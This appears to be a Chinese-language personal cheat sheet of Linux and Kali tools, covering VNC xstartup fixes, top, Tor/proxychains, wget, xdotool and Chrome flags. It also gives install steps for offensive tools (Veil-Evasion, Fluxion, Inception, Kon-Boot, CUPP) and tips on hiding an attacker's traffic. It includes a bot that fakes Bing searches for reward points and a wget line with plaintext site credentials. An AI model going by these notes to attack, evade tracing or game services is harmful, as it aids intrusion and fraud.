--quoting-style 选项的有效参数为:

literal
shell
shell-always
shell-escape
shell-escape-always
c
c-maybe
escape
locale
clocale

此 tar 默认为:
--format=gnu -f- -b20 --quoting-style=escape --rmt-command=/usr/sbin/rmt
--rsh-command=/usr/bin/rsh

TightVNC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
解决GNOME应用不显示在:2但显示在:0的问题:
GNOME 应用程序(例如 gnome-terminal)通常依赖 D-Bus 进行系统与应用之间的通信。D-Bus 是一种消息总线系统,允许系统组件相互交互。

TightVNC 环境中的 gnome-terminal 可能无法找到会话管理器或没有 D-Bus 环境,从而导致无法启动或行为异常。
通过在 xstartup 中启动 dbus-launch,您为 GNOME 应用程序提供了所需的 D-Bus 会话环境,从而使它们能够正常运行。

2. --disable-factory 禁用了 GNOME 工厂模式

gnome-terminal 使用的 工厂模式 是为了确保所有终端实例在同一会话中运行。然而,在 VNC 这样的非标准桌面环境中,它可能找不到正确的会话来注册。

通过使用 --disable-factory 选项,您禁用了这种默认行为,允许 gnome-terminal 独立运行而不依赖 GNOME 会话管理器。

为什么其他应用程序没有问题?

XFCE 终端 和其他轻量级应用程序通常不依赖复杂的会话管理或 D-Bus 环境,因此它们在 VNC 会话中可以正常运行。GNOME 应用程序由于设计上依赖 GNOME 桌面环境的某些服务,可能在这种简化的 VNC 环境中遇到问题。

如果系统上已经有 D-Bus 正在运行,并且您在正常的 GNOME 桌面环境下启动应用程序,那么通常不需要再次启动 D-Bus 守护进程。然而,在 VNC 环境中,特别是像 TightVNC 这样的轻量级配置,可能需要手动启动 D-Bus,以确保应用程序能够找到所需的 D-Bus 会话。
这里是一些情况:

标准桌面环境:
如果您在标准的 GNOME 桌面环境中工作(如直接在本地机器上登录),系统会自动启动 D-Bus 守护进程,所有的 GNOME 应用程序可以直接访问。

VNC 环境:
在 VNC 环境中,尤其是在没有完整桌面环境的情况下,D-Bus 可能没有自动启动。因此,通过在 xstartup 文件中添加 eval $(dbus-launch --sh-syntax) 来确保 D-Bus 会话可用是一个好的做法。

具体情况分析:

如果您确认 D-Bus 已经在 VNC 环境中运行:
您可以注释掉或移除启动 D-Bus 的那一行。如果应用程序运行正常,则表示它们能够访问现有的 D-Bus 服务。
如果您在 VNC 会话中遇到问题:
再次尝试添加 dbus-launch 的启动行,以确保任何依赖 D-Bus 的应用程序都能正常工作。

如果 :0 显示器上已经有 GNOME 正在运行,并且 D-Bus 守护进程在 :0 上启动,那么在 :2 显示器上不一定需要再次启动 D-Bus。这是因为:

D-Bus 守护进程的作用范围:
D-Bus 守护进程通常在用户登录的会话中启动,并为该会话的所有应用程序提供服务。如果 :0 上的 D-Bus 守护进程正在运行,那么其他会话(如 :2)可以通过 D-Bus 通信。
但是,不同的 VNC 会话(例如 :0 和 :2)通常是隔离的,意味着它们可能无法直接共享同一个 D-Bus 会话。

在 VNC 环境中的应用行为:
如果您希望在 :2 显示器上运行 GNOME 应用程序且希望它们能够正常通信,通常建议在 :2 中也启动 D-Bus。
如果您确定 :2 显示器能够访问 :0 上的 D-Bus(通常不推荐,因为这涉及到权限和会话管理),那么可以选择不启动 D-Bus。

结论:

启动 D-Bus:在 :2 上,您最好保留启动 D-Bus 的代码,以确保 GNOME 应用程序能够正常工作,尤其是当它们依赖于 D-Bus 进行内部通信时。
确保环境一致性:保持 :2 的环境与 :0 一致是个好主意,尤其是在 VNC 会话之间可能存在不同的环境变量和资源可用性。

VNCxstart示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/bin/sh

# 设置 DISPLAY 环境变量为 :2
export DISPLAY=:2

# 确保fcitx运行
export GTK_IM_MODULE=fcitx
export QT_IM_MODULE=fcitx
export XMODIFIERS=@im=fcitx

# 启用 VNC 配置(用于剪贴板等功能)
vncconfig -iconic &

# 设置背景颜色
xsetroot -solid grey

# 检查 D-Bus 是否正在运行
if pgrep -x "dbus-daemon" > /dev/null; then
echo "D-Bus is already running."
else
echo "Starting D-Bus..."
eval $(dbus-launch --sh-syntax)
fi

# 启动 GNOME 终端
gnome-terminal --disable-factory &

# 清除会话管理器和 D-Bus 地址
unset SESSION_MANAGER
unset DBUS_SESSION_BUS_ADDRESS

# 启动 Fluxbox 窗口管理器
startfluxbox &

其他参考:

1
2
3
4
5
https://uuzdaisuki.com/2020/11/09/%E5%B8%B8%E8%A7%81web%E7%B3%BB%E7%BB%9F%E9%BB%98%E8%AE%A4%E5%8F%A3%E4%BB%A4%E6%80%BB%E7%BB%93/
https://cloud.tencent.com/developer/article/1957871
http://www.luckysec.cn/posts/562916c6.html
https://github.com/BaizeSec/bylibrary/blob/main/docs/%E9%80%9F%E6%9F%A5%E8%A1%A8/%E5%B8%B8%E8%A7%81%E4%BA%A7%E5%93%81%E5%BC%B1%E5%8F%A3%E4%BB%A4.md
https://www.cnblogs.com/victoryhan/p/15864154.html
VNC疑难杂症解决
  1. GNOME不工作

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    试试?
    # Fix to make GNOME work
    export XKL_XMODMAP_DISABLE=1
    unset SESSION_MANAGER
    unset DBUS_SESSION_BUS_ADDRESS

    或者
    #!/bin/sh
    # https://askubuntu.com/questions/1285420/how-to-properly-configure-xstartup-file-for-tightvnc-with-ubuntu-20-04-lts-gnome

    [ -x /etc/vnc/xstartup ] && exec /etc/vnc/xstartup
    [ -r $HOME/.Xresources ] && xrdb $HOME/.Xresources
    xsetroot -solid grey
    vncconfig -iconic &
    x-terminal-emulator -geometry 80x24+10+10 -ls -title "$VNCDESKTOP Desktop" &

    export XDG_CURRENT_DESKTOP="GNOME-Flashback:GNOME"
    export XDG_MENU_PREFIX="gnome-flashback-"
    gnome-session --session=gnome-flashback-metacity --disable-acceleration-check &

    或者
    # https://askubuntu.com/questions/694795/how-to-start-vnc-session-with-gnome-desktop
    wm
    #!/bin/sh
    export XKL_XMODMAP_DISABLE=1
    unset SESSION_MANAGER
    unset DBUS_SESSION_BUS_ADDRESS
    [ -x /etc/vnc/xstartup ] && exec /etc/vnc/xstartup
    [ -r $HOME/.Xresources ] && xrdb $HOME/.Xresources
    xsetroot -solid grey
    vncconfig -iconic &
    gnome-panel &
    gnome-settings-daemon &
    metacity &
    nautilus &
    gnome-terminal &

    或者
    #!/bin/sh
    [ -x /etc/vnc/xstartup ] && exec /etc/vnc/xstartup
    [ -r $HOME/.Xresources ] && xrdb $HOME/.Xresources
    vncconfig -iconic &
    dbus-launch --exit-with-session gnome-session &

Top

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
top的使用:
P/M/T/N:按CPU占用、内存、CPU时间、进程ID来排序,注意是大写!
k+进程ID来结束进程;r+进程ID来改变优先级

Z,B,E,e Global: 'Z' colors; 'B' bold; 'E'/'e' summary/task memory scale
l,t,m Toggle Summary: 'l' load avg; 't' task/cpu stats; 'm' memory info
0,1,2,3,I Toggle: '0' zeros; '1/2/3' cpus or numa node views; 'I' Irix mode
f,F,X Fields: 'f'/'F' add/remove/order/sort; 'X' increase fixed-width

L,&,<,> . Locate: 'L'/'&' find/again; Move sort column: '<'/'>' left/right
R,H,V,J . Toggle: 'R' Sort; 'H' Threads; 'V' Forest view; 'J' Num justify
c,i,S,j . Toggle: 'c' Cmd name/line; 'i' Idle; 'S' Time; 'j' Str justify
x,y . Toggle highlights: 'x' sort field; 'y' running tasks
z,b . Toggle: 'z' color/mono; 'b' bold/reverse (only if 'x' or 'y')
u,U,o,O . Filter by: 'u'/'U' effective/any user; 'o'/'O' other criteria
n,#,^O . Set: 'n'/'#' max tasks displayed; Show: Ctrl+'O' other filter(s)
C,... . Toggle scroll coordinates msg for: up,down,left,right,home,end

k,r Manipulate tasks: 'k' kill; 'r' renice
d or s Set update interval
W,Y Write configuration file 'W'; Inspect other output 'Y'
q Quit
( commands shown with '.' require a visible task display window )
Press 'h' or '?' for help with Windows,
Type 'q' or <Esc> to continue

Tor代理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#Tor代理的使用:
apt-get update
apt-get upgrade
apt-get install tor
然后编辑/etc/proxychains.conf文件,禁用strict_chains,启用dynamic_chains。
接下来编辑[ProxyList],寻找本地的开放代理,sock4 127.0.0.1 9050 sock5 127.0.0.1 9050
service tor start
Firefox www.whatismyip.com
proxychains firefox www.whatismyip.com
访问https://check.torproject.org验证Tor是否正常
*注意事项:
虽然通信使用Tor网络现在受到保护,但当你的系统使用DNS请求提供你的身份到ISP时,DNS可能发生泄露。你可以检查DNS泄露:https://www.dnsleaktest.com/
大多数命令行可以在使用proxychains访问Tor网络的控制平台上运行。在使用Tor时,牢记如下注意事项:
1、Tor提供匿名服务,但他不能保证隐私。出口节点的业主都能够嗅出流量,也可能会访问用户的凭据。
2.在Tor浏览器套件中的漏洞,据称被执法部门用于探测系统并获取用户信息。
3、ProxyChains不处理UDP流量。
4、某些应用程序和服务无法在这样的环境下运行,实际上,Metasploit和nmap可能不能运行,nmap的SYN隐身扫描被ProxyChains终止,且连接扫描被调用时;这可能会泄露信息。
5、某些浏览器的应用程序如ActiveX,PDF,Flash,Java,RealPlay和QuickTime,可能用于获取你的IP地址。
6、攻击者也可以使用随机链接。使用此选项,ProxyChains,将从我们的列表中随机选择IP地址并用它们来创建ProxyChains。这意味着每次使用ProxyXhains时,代理链将看起来与目标不同,从而更难从源头跟踪流量。
7、为此,以类似的方式编辑/etc/proxychains.conf文件,将dynamic chains改为注释,取消random chains注释,因为我们一次只能使用一个选项。
8、此外,攻击者可以使用chains_len取消注释行,然后再创建一个随机代理链时确定链中的IP地址数。
这项技术可以让攻击者在网上保持匿名。

Traceroute

1
tracerouteIP address】

Twofi——从推特用户主页提取关键词

1
twofi -m 6 -u @PacktPub > packtpub_wordlist.txt

Veil-Evasion

1
2
apt-get install veil-evasion
/usr/share/veil/config/setup.sh

WebSploit

1
2
# websploit执行web扫描,识别phpmyadmin:
websploit use web/pma

Wget

1
2
3
4
5
6
7
8
9
10
11
12
13
wget -m -p -E -k -K -np -v http://www.baidu.com
m:镜像,选择该选项适用于Web站点
p页面获先决条件,该选项确保 包含了请求的 图片和css脚本文件被下载(这样可以更好的复制 html5的站点)
E:适用扩展,这可以在本地另存为一个html文件
k:转换链接,确保文件被转换,用于本地浏览
K:转换备份文件,将会以orig为后缀作为原始文件

Mirror Web Site(s) with Wizar
克隆网页还可见httrack

# 使用Wget下载ftp网页上的某些文件
http://www.bio-info-trainee.com/1039.html
wget -c -r -np -k -L -p -A.pdf --http-user=CS374-2011 --http-passwd=AlgorithmsInBiology http://ai.stanford.edu/~serafim/CS374_2011/papers/

Wodim——命令行光盘刻录

1
2
3
# wodim --devices
# wodim dev=/dev/scXX -v systemrescuecd-x.y.z.iso
# wodim dev=/dev/sr0 speed=8 -v systemrescuecd-x.y.z.iso

Xdotool

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
Xdotool的使用
鼠标操作

xdotool支持很多鼠标操作,包括鼠标的移动,左击,右击,滚轮等

鼠标移动到x,y处: xdotool mousemove x y
鼠标点击右键: xdotool click 3
鼠标向上翻滚: xdotool click 4
获取鼠标位置: xdotool getmouselocation


键盘操作

xdotool支持很多键盘操作,常用的使用如下:

按下p键: xdotool key p
按下ctrl+shift+t键: xdotool key ctrl+shift+t
按下p键持续1000ms: xdotool key –delay 1000 p


窗口操作

xdotool支持很多窗口操作,包括窗口的移动,最小化等等

查询主文件夹窗口id: xdotool search –name “主文件夹”
聚焦到id为WID的窗口: xdotool windowfocus WID
移动id为WID的窗口左上角到x,y处: xdotool windowmove WID x y
改变id为WID的窗口大小为w,h: xdotool windowsize WID w h
最小化id为WID的窗口: xdotool windowminimize WID


让Xdotool在Linux定居

对于Ubuntu,Debian或者Linux Mint,你能够只做:
1
$ sudo apt-get install xdotool

对于Fedora,请使用yum命令:
1
$ sudo yum install xdotool

对于CentOS用户,可以在EPEL repo中找到该包。在启用EPEL仓库后,只要使用上面的yum命令就可以达成你的愿望。

对于Arch用户,可在Community仓库中找到该包:
1
$ sudo pacman -S xdotool

如果你还是找不到你的发行版的对应xdotool,你可以从它的官方站点下载。
起步

下面通过一个简单的例子来测试 xdotool 的功能。首先打开图形界面下的终端模拟器,将鼠标移到某个菜单之上,但是不要点击。这时输入焦点应该还在命令行窗口,鼠标位置不动,输入下面的命令:
1
xdotool click 1

执行这条命灵之后,会发现鼠标悬停处的菜单神奇地打开了,就好像在那里点了左键一样。对 X11 来说,点击鼠标只是一个事件,它并不管这个事件来自鼠标、触摸板、触摸屏还是其他设备,或者是类似 xdotool 这样的软件。

上面的命令中,click 表示动作,1 表示鼠标左键,合法的取值有:
编号 含义
1 鼠标左键
2 鼠标中键
3 鼠标右键
4 滚轮向前
5 滚轮向后

下面考虑复杂一些的情况,如果用 xdotool 来完成自动化,那么需要移动指针到指定的地方。X 桌面坐标系原点位于左上角,x 轴正方向向右,y 轴正方向向下,以像素为单位。例如,本人屏幕分辨率为 1920×1080,那么左上角的坐标为 (0, 0),右上角的坐标为 (1920, 0)。

假设现在需要平铺所有的窗口(我用的是 GNOME 桌面),那么需要将鼠标移到屏幕左上角点击 “Activities” 按钮。使用 xdotool 可以这样实现:
1
xdotool mousemove 0 0 click 1

xdotool 支持多个命令连在一起,上面的例子中,首先将鼠标移到屏幕左上角,然后点击鼠标左键。

mousemove 指令将鼠标位置移动到指定处,mousemove_relative 以鼠标当前位置为初始,移动相应的距离。这两条指令经常带上 --sync 参数,表示一定要等到 X11 确认鼠标已经移动到了目标位置,才会继续执行。

需要注意的是,如果坐标包含负值,必须在坐标前加上两个减号。例如命令
1
xdotool mousemove_relative -10 -10

是不能正确执行的,应该使用这种方式:
1
xdotool mousemove_relative -- -10 -10


Xdotool基本功

虽然xdotool是那样的直观,但它仍然是个脚本程序。因此,为了要正确地使用它,你还是得了解它的语法。不过敬请放心,相对于程序的功能而言,语法还是比较简单易学的。

首先,模拟击键是很容易的。你可以从终端敲入下面的命令:
1
$ xdotool key [name of the key]

如果你想要连接两个键,可以在它们之间使用“+”操作符。它看起来像这样:
1
$ xdotool key alt+Tab

这两个组合键可以为你切换窗口。

要想让xdotool帮你输入,可以使用以下命令:
1
$ xdotool type ''

这些对于基本的击键而言已经足够了。但是,xdotool的众多长处之一,就是它可以获取特定窗口的焦点。它可以获取右边的窗口,然后在里面输入,所有你记录下的按键都不会人间蒸发,而是老老实实的如你所愿的出现在那里。要获得该功能,一个简单的命令可以搞定:
1
$ xdotool search --name [name of the window] key [keys to press]

该命令将在打开的窗口中搜索对应名称的窗口,并聚焦于该窗口,然后模拟击键。

来点更高级的,但很有用哦,xdotool可以模拟鼠标移动和点击,看这命令:
1
$ xdotool mousemove x y

你可以将光标定位到屏幕坐标(x,y)(像素)。你也可以使用“click”参数来组合:
1
$ xdotool mousemove x y click 1

这会让鼠标移动到(x,y),然后点击鼠标左键。“1”代表鼠标左键,“2”则是滚轮,“3”则是右键。

最后,一旦你这些命令根植于你脑海,你也许想要实际转储于文件来编辑并试着玩玩。鉴于此,就会有超过一个语句以上的内容了。你需要的就是写一个bash脚本了:
1
#!/bin/bash
2

3
xdotool [command 1]
4
xdotool [command 2]
5
etc

或者你可以使用:
1
$ xdotool [filename]

这里你将命令写入到一个独立的文件中,然后通过将文件名作为xdotool命令的参数。

对于文本流的输入,xdotool 提供了一个 type 命令:
1
xdotool search "gedit" windowactivate --sync type "hello world"

拖拽动作可以分解为“按下鼠标-移动鼠标-释放鼠标”的步骤,下面的代码是一个简单的例子:
1
xdotool mousedown 1
2
sleep 0.5
3
xdotool mousemove_relative --sync 200 200
4
sleep 0.5
5
xdotool mouseup 1
意外收获

xdotool 最强大的一个功能,就是能够自动搜索窗口,确定该窗口的位置,并使用窗口的局部坐标。例如,寻找 Chrome 浏览器并激活其窗口,可以通过下面的命令实现:
1
xdotool search "Chrome" windowactivate

这个功能需要窗口管理器的支持,xdotool 会遍历所有窗口,一旦发现标题栏内容包含指定的关键词,就返回该窗口。如果没有符合规则的窗口,那么什么也不会发生。

这里需要指出的是,窗口的标题栏内容和程序名称没有必然的关系。xdotool 根据标题栏内容查找窗口,而非应用程序的名字。

找到了目标窗口,还不能立刻对窗口中的按钮进行操作,因为窗口可能为于屏幕的任何位置。不过,我们可以将鼠标移动到窗口的左上角:
1
xdotool search "Chrome" windowactivate --sync mousemove --window %1 0 0

--window X 表示后面的坐标是相对窗口 X 而言的,%1 表示 search 操作返回的第一个窗口。

除了将鼠标移动到窗口的左上角,另一个方案是将窗口移动到指定的位置。例如,将 Chrome 移动到 (50, 50) 处:
1
xdotool search "Chrome" windowactivate --sync windowmove 50 50

再进一步,还可以指定窗口的大小,例如将 Chrome 缩放到宽 640,高 480 的大小:
1
xdotool search "Chrome" windowsize 640 480

获取窗口名称
1
$ xdotool search "Chrome"
2
Defaulting to search window name, class, and classname
3
37748741
4
$ xdotool getwindowname 37748741
5
JUSTCODE-iKeepStudying - Google Chrome

在打开的窗口中搜索对应名称的窗口,并聚焦于该窗口,然后模拟击键。
01
#!/bin/bash
02
export DISPLAY=:1
03
/opt/google/chrome/chrome --user-data-dir --display=:1 &
04
#/opt/google/chrome/chrome --user-data-dir --app=http://s.malu.me/ --start-maximized --enable-low-end-device-mode --disable-translate --display=:1 &
05
WID=`xdotool search --name "Chrome" | head -1`
06
xdotool windowfocus $WID
07
xdotool key ctrl+49
08
sleep 1
09
xdotool type 'justcode.ikeepstudying'
10
xdotool key 65

export DISPLAY=:1 用于设置X11默认显示通道,在打开浏览器中会用到

[*注1]: xdotool key ctrl+l 这种别名不再工作。应该使用在xev的输出中找到的值,来替换l。

比如键入l输出:
1
KeyPress event, serial 40, synthetic NO, window 0x2000001,
2
root 0x25, subw 0x0, time 180522539, (110,120), root:(661,427),
3
state 0x0, keycode 49 (keysym 0x6c, l), same_screen YES,
4
XLookupString gives 1 bytes: (6c) "l"
5
XmbLookupString gives 1 bytes: (6c) "l"
6
XFilterEvent returns: False

那应该用49替换字母l

chrome常用命令行参数介绍:
1
1. --incognito,设置浏览器直接从隐身模式启动功能,您在隐身模式中浏览网页不会保留浏览器记录、Cookie存储库或搜索记录,会保留下载的文件和已存的书签。
2
2. --start-maximized,启动时自动最大化窗口。
3
3. --lang=en_US,设置语言为英语_美国(这里可以写各种语言代码),快速切换显示语言,而免去在设置中点击数次并重启的麻烦。
4
4. --user-agent="thatis my user agent"(如果字符串不含空格则无需引号),设置伪造的用户代理字符串,可以验证网站对于不同浏览器采取的不同的行为。
5
5. --user-data-dir=/userdata,设置自定义用户数据位置,对于系统盘空间较小,希望把用户数据(包含缓存)放在其他位置的用户非常有用。
6
6. --disable-images,设置为禁止图像,对于流量有限制,或者其他不想看图的人群非常有用。
7
7. --no-sandbox,不使用沙箱,在和某些杀毒软件有冲突时,可以关闭沙箱。
8
8. --trusted-plugins,仅使用信任的插件。
9
9. --restore-last-session,启动时恢复最近的会话。

Chrome命令行参数之基础类:
1
1. --debug-on-start,如果程序包含基础/调试/debug_on_start_win.h,(仅限于Windows),该过程将​​自启动JIT系统注册的调试器,并会等待60秒钟,让调试器连接到自身并打一个断点。
2
2. --disable-breakpad,禁用崩溃报告。
3
3. --wait-for-debugger,在60秒之内,等待一个调试器接入Chrome。
4
4.--test-child-process,当运行特定的派生子进程的测试,此开关会告诉测试框架,当前进程是一个子进程。
5
5.--enable-crash-reporter,表示崩溃报告应该启用。由辅助进程不能访问到所需文件的平台作出这个决定,此标志由内部产生。
6
6.--enable-crash-reporter-for-testing,用于在调试环境中打开Breakpad(一个非常实用的跨平台的崩溃转储和分析模块)崩溃报告,崩溃报告在那里通常会被编译,但被禁用了。
7
7.--full-memory-crash-report,生成全部内存崩溃报告。
8
8.--enable-low-end-device-mode,改写低端设备检测,启用低端设备的优化。
9
9.--disable-low-end-device-mode,改写低端设备检测,禁止低端设备的优化。

Chrome其它收集命命令行参数:
01
disable-accelerated-compositing 禁用加速
02
disable-winsta 禁用渲染备用窗口
03
disable-application-cache 禁用应用程序缓存
04
disable-apps 禁用应用程序
05
disable-audio 禁用音频
06
disable-auth-negotiate-cname-lookup
07
disable-background-networking 禁用后台联网
08
disable-backing-store-limit 禁用存储数量限制,可以防止在打开大量的标签窗口时,页面出现闪烁的现象。
09
disable-byte-range-support 禁用缓存的支持字节范围
10
disable-click-to-play 禁用点击播放
11
disable-connect-backup-jobs 如果超过指定的时间,则禁用建立备份的TCP连接
12
disable-content-prefetch 禁用内容预取
13
disable-custom-jumplist 禁用Windows 7的JumpList自定义功能
14
disable-databases 禁用HTML5的数据库支持
15
disable-desktop-notifications 禁用桌面通知(默认窗口启用)
16
disable-dev-tools 禁用所有页面的渲染检测
17
disable-device-orientation 禁用设备向导
18
disable-webgl 禁用WebGL实验功能
19
disable-extensions 禁用扩展
20
disable-extensions-file-access-check 禁用扩展文件访问检查
21
disable-geolocation 禁用地理位置的JavaScript API
22
disable-glsl-translator 禁用GLSL翻译
23
disable-hang-monitor 禁止任务管理器监视功能
24
disable-internal-flash 禁用内部的Flash Player
25
disable-ipv6 禁用IPv6
26
disable-preconnect 禁用TCP/IP协议
27
disable-javascript 禁用JS
28
disable-java 禁用Java
29
disable-local-storage 禁用本地存储
30
disable-logging 禁用调试记录
31
disable-new-tab-first-run 禁用新标签显示的通知
32
disable-outdated-plugins 禁用过时的插件
33
disable-plugins 禁止插件
34
disable-popup-blocking 禁用阻止弹出窗口
35
disable-prompt-on-repost
36
disable-remote-fonts 禁用远程字体
37
disable-renderer-accessibility 禁用渲染辅助功能
38
disable-restore-background-contents 当浏览器重新启动后之前的网址被记录
39
disable-session-storage 禁用会话存储
40
disable-shared-workers 禁用共享,功能尚未完成
41
disable-site-specific-quirks 禁用指定站点设置的WebKit兼容性问题。
42
disable-speech-input 禁用语音输入
43
disable-ssl-false-start 禁用SSL的虚假启动
44
disable-sync 禁用同步
45
disable-sync-apps 禁用同步应用程序
46
disable-sync-autofill 禁用同步自动填表
47
disable-sync-bookmarks 禁用同步书签
48
disable-sync-extensions 禁用同步扩展
49
disable-sync-passwords 禁用同步密码
50
disable-sync-preferences 禁用同步偏好设置
51
disable-sync-sessions 禁用同步会话
52
disable-sync-themes 禁用同步主题(皮肤)
53
disable-sync-typed-urls 禁用同步输入网址
54
disable-tab-closeable-state-watcher
55
disable-translate 禁用翻译
56
disable-web-resources 禁用网络资源后台加载服务
57
disable-web-security 禁用网络安全提示?
58
disable-web-sockets 禁用网络接口
59
safebrowsing-disable-auto-update 禁用自动升级(安全浏览)
60
disable-tls 禁用设置XMPP协议的客户端同步控制
61
disable-flash-core-animation 禁用Flash核心动画
62
disable-hole-punching 禁用Punching
63
disable-seccomp-sandbox 禁用沙盒
64
no-sandbox 启动无沙盒模式运行

作为本文的一个意外收获,这里是xdotool的一个具体实例。你可能听说过,也可能没听说过Bing —— 微软的搜索引擎。在后面的实例中,你会看到你可能从没听过Bing奖励:一个程序,可以让你用Bing积分兑取亚马逊的礼物卡和其它的一些礼物卡(LCTT 译注:我是从来没听说过~)。要赚取这些积分,你可以每天在Bing上搜索累计达30次,每次搜索你都会获得0.5个积分。换句话说,你必须把Bing设为默认搜索引擎,并每天使用它。

或者,你可以使用xdotool脚本,在这个脚本中,会自动聚焦到Firefox(你可以用你喜欢的浏览器来取代它),并使用fortune命令生成一些随机单词来实施搜索。大约30秒之内,你的日常搜索任务就完成了。
01
#!/bin/bash
02

03
for i in {1..30}
04
do
05
WID=`xdotool search --title "Mozilla Firefox" | head -1`
06
xdotool windowfocus $WID
07
xdotool key ctrl+l
08
xdotool key Tab
09
SENTENCE="$(fortune | cut -d' ' -f1-3 | head -1)"
10
xdotool type $SENTENCE
11
xdotool key "Return"
12
sleep 4
13
done

下面来个小结吧:我真的很喜欢xdotool,即便它的完整功能超越了本文涵盖的范围。这对于脚本和任务自动化而言,确实是种平易的方式。负面的问题是,它可能不是最有效率的一个。但我要再说一遍,它忠于职守了,而且学习起来也不是那么麻烦。
简单示例
view source
01
#!/bin/bash
02

03
function open(){
04
for((i=0;i<5;i++));
05
do
06
nautilus "/home/"
07
kill -2 `ps -A | grep nautilus | cut -f-1 -d' '`
08
done
09
}
10

11
#测试不断的打开和关闭文件浏览器
12
open
13
nautilus "/home/"
14
sleep 5
15
WID=`xdotool search --name "文件浏览器" | tail -1`
16
echo $WID
17
xdotool windowfocus $WID
18

19
#gen the random num in [0, max)
20
function random(){
21
if [[ $# -eq "0" ]]; then
22
max=1000
23
else
24
max=$1
25
fi
26
rand_value=$[$RANDOM % $max]
27
echo $rand_value
28
}
29

30
function drag(){
31
x0=0
32
y0=0
33
xdotool windowmove $WID $x0 $y0
34
for((i=0;i<500;i++));
35
do
36
#xdotool key ctrl+t
37
x=$[$x0+$i]
38
y=$[$y0+$i]
39
xdotool windowmove $WID $x $y
40
#xdotool windowminimize $WID
41
#sleep 4
42
done
43
}
44

45
function move(){
46
x1=`random`
47
y1=`random`
48
xdotool windowmove $WID $x1 $y1
49
}
50

51
function contineMove(){
52
for((i=0;i<10000;i++));
53
do
54
move
55
#sleep 1
56
done
57
}
58

59
function resize(){
60
x1=`random`
61
y1=`random`
62
xdotool windowsize $WID $x1 $y1
63
}
64

65
function contineResize(){
66
for((i=0;i<$1;i++));
67
do
68
resize
69
done
70
}
71

72

73
#拖拽窗口
74
#drag
75

76
#移动窗口
77
#contineMove
78

79
#改变窗口大小
80
#contineResize 10000

Xprobe

1
2
# xprobe2使用不同数据包绕开防火墙:
xprobe2 www.baidu.com

Yarn

1
2
3
4
5
6
7
8
推荐:
npm install -g yarn

另外方法:
curl -sS https://dl.yarnpkg.com/debian/pubkey.gpg | sudo apt-key add -
echo "deb https://dl.yarnpkg.com/debian/ stable main" | sudo tee /etc/apt/sources.list.d/yarn.list
apt update
apt install yarn

非仓库来源软件

CUPP——用户密码分析

1
2
3
https://github.com/Mebus/cupp.git
用户密码分析:common user password profiler
python cupp.py -i

Fluxion

1
2
3
4
https://github.com/wi-fi-analyzer/fluxion
git clone https://github.com/wi-fi-analyzer/fluxion
cd install
./install.sh

Inception

1
2
3
4
5
6
7
8
9
https://github.com/wertarbyte/forensic1394
apt-get install git cmake g++ python3 python3-pip
git clone https://github.com/wertarbyte/forensic1394
cd forensic1394/
cmake CMakeLists.txt
sudo make install
cd python/
python3 setup.py install
./incept -h

Kon-Boot——登录密码绕过

1
Kon-Boot——https://www.piotrbania.com/all/kon-boot/Inception

Lantern——蓝灯

1
2
3
4
5
6
7
8
9
10
11
12
https://github.com/getlantern/lantern.git
git clone https://github.com/getlantern/lantern.git
apt-get install libc6-dev-i386 golang npm libappindicator3-dev libgtk-3-dev libappindicator3-1
apt-get install npm
apt --fix-broken install
//npm install -g gulp-cli
npm i gulp -g
Kali Linux默认安装的Nodejs执行文件是nodejs,创建链接node
link /usr/bin/nodejs /usr/bin/node
cd lantern
make lantern
./lantern

MobSF——移动设备安全测试框架

1
2
3
4
5
6
7
https://github.com/MobSF/Mobile-Security-Framework-MobSF
cd Mobile-Security-Framework-MobSF/
pip install -r requirements.txt
python manage.py test
python manage.py migrate
